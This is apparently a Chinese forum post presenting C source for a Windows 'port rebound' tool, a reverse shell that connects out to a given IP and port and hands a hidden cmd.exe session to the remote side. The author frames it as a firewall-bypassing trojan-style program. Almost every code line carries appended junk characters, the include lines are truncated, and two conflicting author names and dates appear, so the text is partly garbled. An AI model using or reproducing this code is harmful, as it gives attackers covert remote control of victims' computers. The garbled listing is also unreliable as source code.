Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 hq_~^/
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/* ============================== M-9gD[m  
Rebound port in Windows NT d+2daKi  
By wind,2006/7 ~uaP$*B[  
===============================*/ -zfoRU v  
#include aO1IVESr$  
#include q(]f]Vl|0  
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#pragma comment(lib,"wsock32.lib") Y(i?M~3\t  
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void OutputShell(); n.$(}A  
SOCKET sClient; 7 ^I:=qc72  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; H~9=&p[Q  
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void main(int argc,char **argv) !Tfij(91  
{ ?ApRJm:T  
WSADATA stWsaData; !oMt_k X  
int nRet; >Q2). E  
SOCKADDR_IN stSaiClient,stSaiServer; "DckwtG:%  
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if(argc != 3) #ooc)),  
{ !Yh}H<w0  
printf("Useage:\n\rRebound DestIP DestPort\n"); TlPVHJyt  
return; 'DAltr<  
} 1L[S*X  
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WSAStartup(MAKEWORD(2,2),&stWsaData); $L{7%]7QC  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a-PGW2G  
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stSaiClient.sin_family = AF_INET;  KOSyh<&  
stSaiClient.sin_port = htons(0); 1%eLs=u?  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Zoow*`b|$U  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Z=9dMND  
{ X<xqT  
printf("Bind Socket Failed!\n"); < l[
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return; u2lmwE  
} "6V_/u5M;=  
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stSaiServer.sin_family = AF_INET; >eo8  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); C4_t_N  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); RndOm.TE  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) +"=~o5k3Q  
{ tc/jY]'32  
printf("Connect Error!"); nHU3%%%cU  
return; l$`G:%qHj  
} r,nn~  
OutputShell(); LW?2}`+  
} C
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void OutputShell() }85#[~m'  
{ mh8nlB  
char szBuff[1024]; m){&:Hs  
SECURITY_ATTRIBUTES stSecurityAttributes; ,CW%JIM  
OSVERSIONINFO stOsversionInfo; Na;t#,  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ~y%7w5%Un  
STARTUPINFO stStartupInfo; Ap,q `S  
char *szShell; },3R%?89%  
PROCESS_INFORMATION stProcessInformation; "0Y&~q[=  
unsigned long lBytesRead; %#Q #N,fw  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); #ZwY?T x  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Sl~C0eO  
stSecurityAttributes.lpSecurityDescriptor = 0; %>]#vQ|  
stSecurityAttributes.bInheritHandle = TRUE; -9i+@%{/  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); gU*I;s>  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); "lb\c  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "p2u+ 8?  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,|>nF;.Y  
stStartupInfo.wShowWindow = SW_HIDE; L/%xbm~  
stStartupInfo.hStdInput = hReadPipe; (BhL/A 4  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; th;]Vo  
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GetVersionEx(&stOsversionInfo); GY
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switch(stOsversionInfo.dwPlatformId) 6q!7i%fK?  
{ ]n/jJ_[  
case 1: /XC;.dLA#  
szShell = "command.com"; ,9+nfj  
break; 2}1!WIin  
default: ]dQZ8yVK
 
szShell = "cmd.exe"; %k~C-+  
break; A` oa|k!U  
} >EyvdX#v  
(rMTW+,  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); lp3(&p<:  
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send(sClient,szMsg,77,0); I\)N\move  
while(1) +._f.BRmX.  
{ mRNHq3  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); k0R,!F  
if(lBytesRead) puk4D  
{ 6YB-}>?  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); C5d/)aC  
send(sClient,szBuff,lBytesRead,0); vsxvHot=  
} t/
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else jAsh   
{ t4*aVHT  
lBytesRead=recv(sClient,szBuff,1024,0); BD<rQmfA^  
if(lBytesRead<=0) break; _q2`m  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); * N2#{eF&]  
} MX%|hIOpr  
} N2M?5fF  
3ytx"=B%  
return; Tm'lN5}&9  
}